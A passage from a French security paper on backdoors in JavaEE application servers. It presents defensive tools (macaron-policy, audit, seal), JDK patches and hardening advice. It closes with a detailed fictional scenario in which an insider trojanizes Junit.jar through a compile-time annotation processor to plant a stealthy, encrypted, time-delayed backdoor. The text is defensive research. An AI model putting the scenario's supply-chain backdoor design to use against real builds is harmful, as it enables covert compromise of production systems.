Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

